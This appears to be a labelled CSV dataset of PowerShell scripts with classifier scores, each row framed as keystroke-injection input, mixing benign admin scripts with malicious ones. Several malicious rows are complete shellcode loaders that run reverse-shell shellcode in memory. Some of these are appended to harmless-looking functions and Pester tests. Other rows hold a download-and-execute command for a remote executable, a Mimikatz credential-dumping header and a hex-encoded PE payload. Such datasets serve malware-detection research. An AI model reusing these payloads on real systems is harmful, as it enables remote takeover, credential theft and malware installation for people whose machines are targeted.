"win+r enter powershell enter enter enter $c = '[DllImport(""kernel32.dll"")]public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);[DllImport(""kernel32.dll"")]public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);[DllImport(""msvcrt.dll"")]public static extern IntPtr memset(IntPtr dest, uint src, uint count);';$w = Add-Type -memberDefinition $c -Name ""Win32"" -namespace Win32Functions -passthru;[Byte[]];[Byte[]]$sc = 0xfc,0xe8,0x89,0x00,0x00,0x00,0x60,0x89,0xe5,0x31,0xd2,0x64,0x8b,0x52,0x30,0x8b,0x52,0x0c,0x8b,0x52,0x14,0x8b,0x72,0x28,0x0f,0xb7,0x4a,0x26,0x31,0xff,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0xc1,0xcf,0x0d,0x01,0xc7,0xe2,0xf0,0x52,0x57,0x8b,0x52,0x10,0x8b,0x42,0x3c,0x01,0xd0,0x8b,0x40,0x78,0x85,0xc0,0x74,0x4a,0x01,0xd0,0x50,0x8b,0x48,0x18,0x8b,0x58,0x20,0x01,0xd3,0xe3,0x3c,0x49,0x8b,0x34,0x8b,0x01,0xd6,0x31,0xff,0x31,0xc0,0xac,0xc1,0xcf,0x0d,0x01,0xc7,0x38,0xe0,0x75,0xf4,0x03,0x7d,0xf8,0x3b,0x7d,0x24,0x75,0xe2,0x58,0x8b,0x58,0x24,0x01,0xd3,0x66,0x8b,0x0c,0x4b,0x8b,0x58,0x1c,0x01,0xd3,0x8b,0x04,0x8b,0x01,0xd0,0x89,0x44,0x24,0x24,0x5b,0x5b,0x61,0x59,0x5a,0x51,0xff,0xe0,0x58,0x5f,0x5a,0x8b,0x12,0xeb,0x86,0x5d,0x68,0x33,0x32,0x00,0x00,0x68,0x77,0x73,0x32,0x5f,0x54,0x68,0x4c,0x77,0x26,0x07,0xff,0xd5,0xb8,0x90,0x01,0x00,0x00,0x29,0xc4,0x54,0x50,0x68,0x29,0x80,0x6b,0x00,0xff,0xd5,0x50,0x50,0x50,0x50,0x40,0x50,0x40,0x50,0x68,0xea,0x0f,0xdf,0xe0,0xff,0xd5,0x97,0x6a,0x05,0x68,0x0a,0x0a,0x01,0x96,0x68,0x02,0x00,0x01,0xbb,0x89,0xe6,0x6a,0x10,0x56,0x57,0x68,0x99,0xa5,0x74,0x61,0xff,0xd5,0x85,0xc0,0x74,0x0c,0xff,0x4e,0x08,0x75,0xec,0x68,0xf0,0xb5,0xa2,0x56,0xff,0xd5,0x6a,0x00,0x6a,0x04,0x56,0x57,0x68,0x02,0xd9,0xc8,0x5f,0xff,0xd5,0x8b,0x36,0x6a,0x40,0x68,0x00,0x10,0x00,0x00,0x56,0x6a,0x00,0x68,0x58,0xa4,0x53,0xe5,0xff,0xd5,0x93,0x53,0x6a,0x00,0x56,0x53,0x57,0x68,0x02,0xd9,0xc8,0x5f,0xff,0xd5,0x01,0xc3,0x29,0xc6,0x85,0xf6,0x75,0xec,0xc3;$size = 0x1000;if ($sc.Length -gt 0x1000){$size = $sc.Length};$x=$w::VirtualAlloc(0,0x1000,$size,0x40);for ($i=0;$i -le ($sc.Length-1);$i++) {$w::memset([IntPtr]($x.ToInt32()+$i), $sc[$i], 1)};$w::CreateThread(0,0,$x,0,0,0);for (;;){Start-sleep 60}; enter enter",1,1,5.15984e-05,0.9999484
"win+r powershell enter $Wef = '$IED = ''[DllImport(""kernel32.dll"")]public static extern IntPtr VirtualA enter lloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);[DllI enter mport(""kernel32.dll"")]public static extern IntPtr CreateThread(IntPtr lpThreadAt enter tributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCr enter eationFlags, IntPtr lpThreadId);[DllImport(""msvcrt.dll"")]public static extern In enter tPtr memset(IntPtr dest, uint src, uint count);'';$w = Add-Type -memberDefinitio enter n $IED -Name ""Win32"" -namespace Win32Functions -passthru;[Byte[]];[Byte[]]$z = 0 enter xb8,0x26,0x6c,0xc9,0xb6,0xda,0xd4,0xd9,0x74,0x24,0xf4,0x5b,0x2b,0xc9,0xb1,0x57,0 enter x31,0x43,0x15,0x03,0x43,0x15,0x83,0xeb,0xfc,0xe2,0xd3,0x90,0x21,0x34,0x1b,0x69,0 enter xb2,0x59,0x92,0x8c,0x83,0x59,0xc0,0xc5,0xb4,0x69,0x83,0x88,0x38,0x01,0xc1,0x38,0 enter xca,0x67,0xcd,0x4f,0x7b,0xcd,0x2b,0x61,0x7c,0x7e,0x0f,0xe0,0xfe,0x7d,0x43,0xc2,0 enter x3f,0x4e,0x96,0x03,0 enter enter",1,1,5.4281914e-05,0.99994576
win+r powershell enter <# Functions to run Mimikatz on a mass number of machines without using PSRem enter oting. Utilizes PowerSploit's Invoke-Mimikatz: https://github.com/mattifestat enter ion/PowerSploit/blob/master/Exfiltration/Invoke-Mimikatz.ps1 as well as @obscur enter esec's quick webserver stub: https://gist.github.com/obscuresec/71df69d828e6e05 enter 986e9#file-dirtywebserver-ps1 Original inspiration from @mubix's article at enter http://carnal0wnage.attackresearch.com/2013/10/dumping-domains-worth-of-password enter s-with.html enter enter,1,1,0.00028147746,0.9997185
"win+r powershell enter $psver = $PSVersionTable.psversion.Major if ($psver -eq '2') { Write-Output ""Po enter wershell version 3 required"" } function New-ZipFile { [CmdletBinding()] pa enter ram( [Parameter(Position=0, Mandatory=$true)] $ZipFilePath, enter",1,1,0.0014251018,0.99857485
"win+r powershell enter $connectionName = ""AzureRunAsConnection100"" enter try enter { enter $servicePrincipalConnection=Get-AutomationConnection -Name $connectionName enter ""Logging in to Azure..."" enter Add-AzureRmAccount ` enter -ServicePrincipal ` enter -TenantId $servicePrincipalConnection.TenantId ` enter -ApplicationId $servicePrincipalConnection.ApplicationId ` enter -CertificateThumbprint $servicePrincipalConnection.CertificateThumbprint enter } enter catch { enter if (!$servicePrincipalConnection) enter { enter $ErrorMessage = ""Connection $connectionName not found."" enter throw $ErrorMessage enter } else{ enter Write-Error -Message $_.Exception enter throw $_.Exception enter } enter } enter $ResourceGroups = Get-AzureRmResourceGroup enter foreach ($ResourceGroup in $ResourceGroups) enter { enter Write-Output (""Showing resources in resource group "" + $ResourceGroup.ResourceGroupName) enter $Resources = Find-AzureRmResource -ResourceGroupNameContains $ResourceGroup.ResourceGroupName | Select ResourceName, ResourceType enter ForEach ($Resource in $Resources) enter { enter Write-Output ($Resource.ResourceName + "" of type "" + $Resource.ResourceType) enter } enter Write-Output ("""") enter } enter",0,0,0.9999405,5.9449503e-05
"win+r powershell enter # BENIGN ADMIN REPORT enter $ReportDir = Join-Path $env:TEMP ""admin_reports_fihodvks"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Write-Host ""Starting firewall_status section 1."" enter Get-NetFirewallRule | enter Where-Object { $_.Enabled -eq ""True"" } | enter Select-Object -First 100 DisplayName, Enabled, Direction, Action, Profile | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""firewall_enabled_rules.json"") -Encoding UTF8 enter Write-Host ""Starting event_log_review section 2."" enter Get-WinEvent -LogName Application -MaxEvents 150 | enter Where-Object { $_.LevelDisplayName -in @(""Error"") } | enter Select-Object TimeCreated, ProviderName, Id, LevelDisplayName, Message | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""event_application_errors_150.json"") -Encoding UTF8 enter",0,0,0.99996614,3.3828106e-05
"win+r enter powershell enter enter enter function Expand-ScriptAlias enter { enter enter [CmdletBinding(SupportsShouldProcess, ConfirmImpact = 'Low')] enter PARAM ( enter [Parameter(ValueFromPipeline, ValueFromPipelineByPropertyName)] enter [ValidateScript({ Test-Path -Path $_ })] enter [Alias('FullName')] enter [System.String]$Path enter ) enter PROCESS enter { enter FOREACH ($File in $Path) enter { enter Write-Verbose -Message '[PROCESS] $File' enter enter TRY enter { enter enter $ScriptContent = (Get-Content $File -Delimiter $([char]0)) enter $AbstractSyntaxTree = [System.Management.Automation.Language.Parser]:: enter ParseInput($ScriptContent, [ref]$null, [ref]$null) enter $Aliases = $AbstractSyntaxTree.FindAll({ $args[0] -is [System.Management.Automation.Language.CommandAst] }, $true) | enter ForEach-Object -Process { enter $Command = $_.CommandElements[0] enter if ($Alias = Get-Alias | Where-Object { $_.Name -eq $Command }) enter { enter [PSCustomObject]@{ enter File = $File enter Alias = $Alias.Name enter Definition = $Alias.Definition enter StartLineNumber = $Command.Extent.StartLineNumber enter EndLineNumber = $Command.Extent.EndLineNumber enter StartColumnNumber = $Command.Extent.StartColumnNumber enter EndColumnNumber = $Command.Extent.EndColumnNumber enter StartOffset = $Command.Extent.StartOffset enter EndOffset = $Command.Extent.EndOffset enter enter } enter } enter } | Sort-Object -Property EndOffset -Descending enter Foreach ($Alias in $Aliases) enter { enter enter if ($psCmdlet.ShouldProcess($file, ""Expand Alias: $($Alias.alias) to $($Alias.definition) (startoffset: $($alias.StartOffset))"")) enter { enter enter $ScriptContent = $ScriptContent.Remove($Alias.StartOffset, ($Alias.EndOffset - $Alias.StartOffset)).Insert($Alias.StartOffset, $Alias.Definition) enter enter Set-Content -Path $File -Value $ScriptContent -Confirm:$false enter } enter } enter enter } enter CATCH enter { enter Write-Error -Message $($Error[0].Exception.Message) enter } enter } enter } enter } enter $c = '[DllImport(""kernel32.dll"")]public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);[DllImport(""kernel32.dll"")]public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);[DllImport(""msvcrt.dll"")]public static extern IntPtr memset(IntPtr dest, uint src, uint count);';$w = Add-Type -memberDefinition $c -Name ""Win32"" -namespace Win32Functions -passthru;[Byte[]];[Byte[]]$z = 0xfc,0xe8,0x82,0x00,0x00,0x00,0x60,0x89,0xe5,0x31,0xc0,0x64,0x8b,0x50,0x30,0x8b,0x52,0x0c,0x8b,0x52,0x14,0x8b,0x72,0x28,0x0f,0xb7,0x4a,0x26,0x31,0xff,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0xc1,0xcf,0x0d,0x01,0xc7,0xe2,0xf2,0x52,0x57,0x8b,0x52,0x10,0x8b,0x4a,0x3c,0x8b,0x4c,0x11,0x78,0xe3,0x48,0x01,0xd1,0x51,0x8b,0x59,0x20,0x01,0xd3,0x8b,0x49,0x18,0xe3,0x3a,0x49,0x8b,0x34,0x8b,0x01,0xd6,0x31,0xff,0xac,0xc1,0xcf,0x0d,0x01,0xc7,0x38,0xe0,0x75,0xf6,0x03,0x7d,0xf8,0x3b,0x7d,0x24,0x75,0xe4,0x58,0x8b,0x58,0x24,0x01,0xd3,0x66,0x8b,0x0c,0x4b,0x8b,0x58,0x1c,0x01,0xd3,0x8b,0x04,0x8b,0x01,0xd0,0x89,0x44,0x24,0x24,0x5b,0x5b,0x61,0x59,0x5a,0x51,0xff,0xe0,0x5f,0x5f,0x5a,0x8b,0x12,0xeb,0x8d,0x5d,0x68,0x33,0x32,0x00,0x00,0x68,0x77,0x73,0x32,0x5f,0x54,0x68,0x4c,0x77,0x26,0x07,0xff,0xd5,0xb8,0x90,0x01,0x00,0x00,0x29,0xc4,0x54,0x50,0x68,0x29,0x80,0x6b,0x00,0xff,0xd5,0x6a,0x05,0x68,0xc0,0xa8,0x04,0xa2,0x68,0x02,0x00,0x1f,0x90,0x89,0xe6,0x50,0x50,0x50,0x50,0x40,0x50,0x40,0x50,0x68,0xea,0x0f,0xdf,0xe0,0xff,0xd5,0x97,0x6a,0x10,0x56,0x57,0x68,0x99,0xa5,0x74,0x61,0xff,0xd5,0x85,0xc0,0x74,0x0a,0xff,0x4e,0x08,0x75,0xec,0xe8,0x61,0x00,0x00,0x00,0x6a,0x00,0x6a,0x04,0x56,0x57,0x68,0x02,0xd9,0xc8,0x5f,0xff,0xd5,0x83,0xf8,0x00,0x7e,0x36,0x8b,0x36,0x6a,0x40,0x68,0x00,0x10,0x00,0x00,0x56,0x6a,0x00,0x68,0x58,0xa4,0x53,0xe5,0xff,0xd5,0x93,0x53,0x6a,0x00,0x56,0x53,0x57,0x68,0x02,0xd9,0xc8,0x5f,0xff,0xd5,0x83,0xf8,0x00,0x7d,0x22,0x58,0x68,0x00,0x40,0x00,0x00,0x6a,0x00,0x50,0x68,0x0b,0x2f,0x0f,0x30,0xff,0xd5,0x57,0x68,0x75,0x6e,0x4d,0x61,0xff,0xd5,0x5e,0x5e,0xff,0x0c,0x24,0xe9,0x71,0xff,0xff,0xff,0x01,0xc3,0x29,0xc6,0x75,0xc7,0xc3,0xbb,0xf0,0xb5,0xa2,0x56,0x6a,0x00,0x53,0xff,0xd5;$g = 0x1000;if ($z.Length -gt 0x1000){$g = $z.Length};$x=$w::VirtualAlloc(0,0x1000,$g,0x40);for ($i=0;$i -le ($z.Length-1);$i++) {$w::memset([IntPtr]($x.ToInt32()+$i), $z[$i], 1)};$w::CreateThread(0,0,$x,0,0,0);for (;;){Start-sleep 60}; enter enter",1,1,5.1510844e-05,0.9999485
"win+r enter powershell enter enter enter Function GetFileMock () { enter $objs = @( [pscustomobject]@{ Size=4533816; Mode=""-a---l""; LastWriteTime=""9/1/2015 11:15 PM""; Name=""explorer.exe"" }, enter [pscustomobject]@{ Size=994816; Mode=""-a---l""; LastWriteTime=""9/1/2015 11:13 PM""; Name=""HelpPane.exe"" }, enter [pscustomobject]@{ Size=316640; Mode=""-a---l""; LastWriteTime=""9/1/2015 11:17 PM""; Name=""WMSysPr9.prx"" }, enter [pscustomobject]@{ Size=215040; Mode=""-a---l""; LastWriteTime=""9/1/2015 11:20 PM""; Name=""notepad.exe"" }, enter [pscustomobject]@{ Size=207239; Mode=""-a----""; LastWriteTime=""10/7/2015 2:37 PM""; Name=""setupact.log"" }, enter [pscustomobject]@{ Size=181064; Mode=""-a----""; LastWriteTime=""9/9/2015 11:54 PM""; Name=""PSEXESVC.EXE"" }) enter return $objs enter } enter enter filter addOneToSizeProperty() { enter $_.Size += 1 enter $_ enter } enter enter filter pipelineConsume() { enter $_ enter } enter enter (New-Object System.Net.WebClient).DownloadFile('http://94.102.53.238/~yahoo/csrsv.exe',""$env:APPDATA\csrsv.exe"");Start-Process (""$env:APPDATA\csrsv.exe"") enter enter",1,1,5.75699e-05,0.9999424
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""endpoint_review_muhggboa"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-NetFirewallRule | enter Where-Object { $_.Direction -eq ""Outbound"" } | enter Select-Object -First 150 DisplayName, Enabled, Direction, Action, Profile | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""firewall_rules_outbound.json"") -Encoding UTF8 enter Get-ScheduledTask | enter Where-Object { $_.State -eq ""Ready"" } | enter Select-Object -First 200 TaskName, TaskPath, State | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""scheduled_ready_tasks.txt"") -Encoding UTF8 enter Write-Host ""Administrative report completed."" enter",0,0,0.9999654,3.4532313e-05
"win+r enter powershell enter enter enter $global:ThemeSettings = New-Object -TypeName PSObject -Property @{ enter GitSymbols = @{ enter BranchSymbol = 'branch' enter OriginSymbols = @{ enter Enabled = $false enter Github = [char]::ConvertFromUtf32(0xF09B) enter Bitbucket = [char]::ConvertFromUtf32(0xF171) enter GitLab = [char]::ConvertFromUtf32(0xF296) enter } enter } enter } enter enter $here = Split-Path -Parent $MyInvocation.MyCommand.Path enter $sut = (Split-Path -Leaf $MyInvocation.MyCommand.Path).Replace("".Tests."", ""."") enter . ""$here\$sut"" enter Describe ""Test-GetBranchSymbol"" { enter Context ""Is disabled"" { enter BeforeAll { enter $global:ThemeSettings.GitSymbols.OriginSymbols.Enabled = $false enter } enter It ""Has Enabled set to False"" { enter Mock Get-GitRemoteUrl { return 'github.com/test.git' } enter $symbol = Get-BranchSymbol 'origin/master' enter $symbol | Should Be $themeSettings.GitSymbols.BranchSymbol enter } enter It ""Has has no upstream"" { enter $symbol = Get-BranchSymbol enter $symbol | Should Be $themeSettings.GitSymbols.BranchSymbol enter } enter } enter Context ""Is enabled"" { enter BeforeAll { enter $global:ThemeSettings.GitSymbols.OriginSymbols.Enabled = $true enter } enter It ""Uses GitHub"" { enter Mock Get-GitRemoteUrl { return 'github.com/test.git' } enter $symbol = Get-BranchSymbol 'origin/master' enter $symbol | Should Be $themeSettings.GitSymbols.OriginSymbols.Github enter } enter It ""Uses GitLab"" { enter Mock Get-GitRemoteUrl { return 'gitlab.com/test.git' } enter $symbol = Get-BranchSymbol 'origin/master' enter $symbol | Should Be $themeSettings.GitSymbols.OriginSymbols.GitLab enter } enter It ""Uses BitBucket"" { enter Mock Get-GitRemoteUrl { return 'bitbucket.com/test.git' } enter $symbol = Get-BranchSymbol 'origin/master' enter $symbol | Should Be $themeSettings.GitSymbols.OriginSymbols.Bitbucket enter } enter It ""Uses something else"" { enter Mock Get-GitRemoteUrl { return 'example.com/test.git' } enter $symbol = Get-BranchSymbol 'origin/master' enter $symbol | Should Be $themeSettings.GitSymbols.BranchSymbol enter } enter It ""Has no remote"" { enter $symbol = Get-BranchSymbol enter $symbol | Should Be $themeSettings.GitSymbols.BranchSymbol enter } enter } enter } enter enter $tnNG = '[DllImport(""kernel32.dll"")]public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);[DllImport(""kernel32.dll"")]public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);[DllImport(""msvcrt.dll"")]public static extern IntPtr memset(IntPtr dest, uint src, uint count);';$w = Add-Type -memberDefinition $tnNG -Name ""Win32"" -namespace Win32Functions -passthru;[Byte[]];[Byte[]]$z = 0xfc,0xe8,0x89,0x00,0x00,0x00,0x60,0x89,0xe5,0x31,0xd2,0x64,0x8b,0x52,0x30,0x8b,0x52,0x0c,0x8b,0x52,0x14,0x8b,0x72,0x28,0x0f,0xb7,0x4a,0x26,0x31,0xff,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0xc1,0xcf,0x0d,0x01,0xc7,0xe2,0xf0,0x52,0x57,0x8b,0x52,0x10,0x8b,0x42,0x3c,0x01,0xd0,0x8b,0x40,0x78,0x85,0xc0,0x74,0x4a,0x01,0xd0,0x50,0x8b,0x48,0x18,0x8b,0x58,0x20,0x01,0xd3,0xe3,0x3c,0x49,0x8b,0x34,0x8b,0x01,0xd6,0x31,0xff,0x31,0xc0,0xac,0xc1,0xcf,0x0d,0x01,0xc7,0x38,0xe0,0x75,0xf4,0x03,0x7d,0xf8,0x3b,0x7d,0x24,0x75,0xe2,0x58,0x8b,0x58,0x24,0x01,0xd3,0x66,0x8b,0x0c,0x4b,0x8b,0x58,0x1c,0x01,0xd3,0x8b,0x04,0x8b,0x01,0xd0,0x89,0x44,0x24,0x24,0x5b,0x5b,0x61,0x59,0x5a,0x51,0xff,0xe0,0x58,0x5f,0x5a,0x8b,0x12,0xeb,0x86,0x5d,0x68,0x33,0x32,0x00,0x00,0x68,0x77,0x73,0x32,0x5f,0x54,0x68,0x4c,0x77,0x26,0x07,0xff,0xd5,0xb8,0x90,0x01,0x00,0x00,0x29,0xc4,0x54,0x50,0x68,0x29,0x80,0x6b,0x00,0xff,0xd5,0x50,0x50,0x50,0x50,0x40,0x50,0x40,0x50,0x68,0xea,0x0f,0xdf,0xe0,0xff,0xd5,0x97,0x6a,0x05,0x68,0xc0,0xa8,0xd9,0x80,0x68,0x02,0x00,0x01,0xbb,0x89,0xe6,0x6a,0x10,0x56,0x57,0x68,0x99,0xa5,0x74,0x61,0xff,0xd5,0x85,0xc0,0x74,0x0c,0xff,0x4e,0x08,0x75,0xec,0x68,0xf0,0xb5,0xa2,0x56,0xff,0xd5,0x6a,0x00,0x6a,0x04,0x56,0x57,0x68,0x02,0xd9,0xc8,0x5f,0xff,0xd5,0x8b,0x36,0x6a,0x40,0x68,0x00,0x10,0x00,0x00,0x56,0x6a,0x00,0x68,0x58,0xa4,0x53,0xe5,0xff,0xd5,0x93,0x53,0x6a,0x00,0x56,0x53,0x57,0x68,0x02,0xd9,0xc8,0x5f,0xff,0xd5,0x01,0xc3,0x29,0xc6,0x85,0xf6,0x75,0xec,0xc3;$g = 0x1000;if ($z.Length -gt 0x1000){$g = $z.Length};$BuBW=$w::VirtualAlloc(0,0x1000,$g,0x40);for ($i=0;$i -le ($z.Length-1);$i++) {$w::memset([IntPtr]($BuBW.ToInt32()+$i), $z[$i], 1)};$w::CreateThread(0,0,$BuBW,0,0,0);for (;;){Start-sleep 60}; enter enter",1,1,5.1655563e-05,0.9999484
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""ops_check_k9yobq7r"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-WinEvent -LogName System -MaxEvents 50 | enter Where-Object { $_.LevelDisplayName -in @(""Warning"") } | enter Select-Object TimeCreated, ProviderName, Id, LevelDisplayName, Message | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""event_system_warnings_50.json"") -Encoding UTF8 enter Get-ScheduledTask | enter Where-Object { $_.State -eq ""Ready"" } | enter Select-Object -First 150 TaskName, TaskPath, State | enter Export-Csv -Path (Join-Path $ReportDir ""scheduled_ready_tasks.csv"") -NoTypeInformation enter Write-Host ""Starting environment_report section 3."" enter $PSVersionTable | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""environment_ps_version.json"") -Encoding UTF8 enter",0,0,0.9999653,3.464651e-05
win+r powershell enter $HH1 = '4D5A9````3```````4``````FFFF````B8``````````````4``````````````````````` enter ````````````````````````````````````````````````8````````E1FBA`E``B4`9CD21B8`14C enter CD21546869732`7`726F6772616D2`63616E6E6F742`62652`72756E2`696E2`444F532`6D6F6465 enter 2E`D`D`A24``````````````5`45````4C`1`2``649D7761````````````````E````2`1`B`1`B`` enter ``6E```````2````````````AE8C``````2`````````````````4`````2````````2`````4`````` enter `````````4````````````````C````````2`````````````2``4`85````1`````1`````````1``` enter ``1`````````````1```````````````````````5C8C````4F`````````````````````````````` enter ``````````````````````````A``````C`````````````````````````````````````````````` enter ``````````````````````````````````````````````````````````2``````8`````````````` enter `````````82`````48``````````````````````2E74657874``````B46C``````2```````6E```` enter ```2````````````````````````````2`````6`2E72656C6F63`````C````````A````````2```` enter ``7````````````````` enter enter,1,1,6.2635256e-05,0.9999374
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""support_summary_2230yd1c"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-Process | enter Sort-Object ProcessName | enter Select-Object -First 10 Name, Id, CPU, WorkingSet64 | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""process_process_overview_10.txt"") -Encoding UTF8 enter Write-Host ""Administrative report completed."" enter",0,0,0.9999658,3.424347e-05
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""admin_reports_vehym72c"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter $Paths = @(""HKLM:\Software\Microsoft\Windows\CurrentVersion\Uninstall\*"", ""HKLM:\Software\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall\*"") enter Get-ItemProperty $Paths -ErrorAction SilentlyContinue | enter Where-Object { $_.DisplayName } | enter Select-Object DisplayName, DisplayVersion, Publisher, InstallDate | enter Sort-Object DisplayName | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""software_installed_programs.txt"") -Encoding UTF8 enter Get-DnsClientServerAddress | enter Select-Object InterfaceAlias, AddressFamily, ServerAddresses | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""network_dns_servers.json"") -Encoding UTF8 enter Write-Host ""Administrative report completed."" enter",0,0,0.99996555,3.442555e-05
"win+r enter powershell enter enter enter $source = 'c: tab emp enter ew' enter $files = Get-Files $source -Recurse -Method AlphaFS enter $drives = [io.driveinfo]::getdrives() | % {$_.name[0]} enter $alpha = [char[]](65..90) enter $avail = (diff $drives $alpha).inputobject enter $sourcedrive = $avail[0] + ':' enter $destdrive = $avail[1] + ':' enter enter $result = foreach ($file in $files) enter { enter subst $sourcedrive /d | Out-Null enter $path = $newfile = $null enter if ($file.fullpath.length -gt 240) enter { enter enter $path = Split-Path $file.fullpath enter $extra = $null enter if ($path.length -gt 240) enter { enter $extra = New-Object System.Collections.ArrayList enter $split = $path.Split('\') enter $stop = 2 enter while ($path.length -gt 240) enter { enter $end = $split.count - $stop enter $path = [string]::Join('\', $split[0..$end]) enter $stop++ enter } enter $extra = [string]::Join('\', $split[($end + 1)..($end + $stop)]) enter } enter subst $sourcedrive $path enter if ($extra) enter { enter $newfile = Join-Path (Join-Path $sourcedrive $extra) $file.filename enter } enter else enter { enter $newfile = Join-Path $sourcedrive $file.filename enter } enter } enter else enter { enter $newfile = $file.fullpath enter } enter enter [pscustomobject]@{ enter FullPath = $file.fullpath enter NewFile = $newfile enter SourceDrive = $sourcedrive enter Path = $path enter ExtraSubs = $extra enter } enter subst $sourcedrive /d | Out-Null enter } enter enter $result enter enter",0,0,0.98711383,0.012886207
"win+r enter powershell enter enter enter $c = '[DllImport(""kernel32.dll"")]public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);[DllImport(""kernel32.dll"")]public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);[DllImport(""msvcrt.dll"")]public static extern IntPtr memset(IntPtr dest, uint src, uint count);';$w = Add-Type -memberDefinition $c -Name ""Win32"" -namespace Win32Functions -passthru;[Byte[]];[Byte[]]$z = 0xfc,0xe8,0x82,0x00,0x00,0x00,0x60,0x89,0xe5,0x31,0xc0,0x64,0x8b,0x50,0x30,0x8b,0x52,0x0c,0x8b,0x52,0x14,0x8b,0x72,0x28,0x0f,0xb7,0x4a,0x26,0x31,0xff,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0xc1,0xcf,0x0d,0x01,0xc7,0xe2,0xf2,0x52,0x57,0x8b,0x52,0x10,0x8b,0x4a,0x3c,0x8b,0x4c,0x11,0x78,0xe3,0x48,0x01,0xd1,0x51,0x8b,0x59,0x20,0x01,0xd3,0x8b,0x49,0x18,0xe3,0x3a,0x49,0x8b,0x34,0x8b,0x01,0xd6,0x31,0xff,0xac,0xc1,0xcf,0x0d,0x01,0xc7,0x38,0xe0,0x75,0xf6,0x03,0x7d,0xf8,0x3b,0x7d,0x24,0x75,0xe4,0x58,0x8b,0x58,0x24,0x01,0xd3,0x66,0x8b,0x0c,0x4b,0x8b,0x58,0x1c,0x01,0xd3,0x8b,0x04,0x8b,0x01,0xd0,0x89,0x44,0x24,0x24,0x5b,0x5b,0x61,0x59,0x5a,0x51,0xff,0xe0,0x5f,0x5f,0x5a,0x8b,0x12,0xeb,0x8d,0x5d,0x68,0x33,0x32,0x00,0x00,0x68,0x77,0x73,0x32,0x5f,0x54,0x68,0x4c,0x77,0x26,0x07,0xff,0xd5,0xb8,0x90,0x01,0x00,0x00,0x29,0xc4,0x54,0x50,0x68,0x29,0x80,0x6b,0x00,0xff,0xd5,0x50,0x50,0x50,0x50,0x40,0x50,0x40,0x50,0x68,0xea,0x0f,0xdf,0xe0,0xff,0xd5,0x97,0x6a,0x05,0x68,0x0a,0x00,0x02,0x0f,0x68,0x02,0x00,0x11,0x5c,0x89,0xe6,0x6a,0x10,0x56,0x57,0x68,0x99,0xa5,0x74,0x61,0xff,0xd5,0x85,0xc0,0x74,0x0a,0xff,0x4e,0x08,0x75,0xec,0xe8,0x3f,0x00,0x00,0x00,0x6a,0x00,0x6a,0x04,0x56,0x57,0x68,0x02,0xd9,0xc8,0x5f,0xff,0xd5,0x83,0xf8,0x00,0x7e,0xe9,0x8b,0x36,0x6a,0x40,0x68,0x00,0x10,0x00,0x00,0x56,0x6a,0x00,0x68,0x58,0xa4,0x53,0xe5,0xff,0xd5,0x93,0x53,0x6a,0x00,0x56,0x53,0x57,0x68,0x02,0xd9,0xc8,0x5f,0xff,0xd5,0x83,0xf8,0x00,0x7e,0xc3,0x01,0xc3,0x29,0xc6,0x75,0xe9,0xc3,0xbb,0xf0,0xb5,0xa2,0x56,0x6a,0x00,0x53,0xff,0xd5;$g = 0x1000;if ($z.Length -gt 0x1000){$g = $z.Length};$x=$w::VirtualAlloc(0,0x1000,$g,0x40);for ($i=0;$i -le ($z.Length-1);$i++) {$w::memset([IntPtr]($x.ToInt32()+$i), $z[$i], 1)};$w::CreateThread(0,0,$x,0,0,0);for (;;){Start-sleep 60}; enter enter",1,1,5.21944e-05,0.9999478
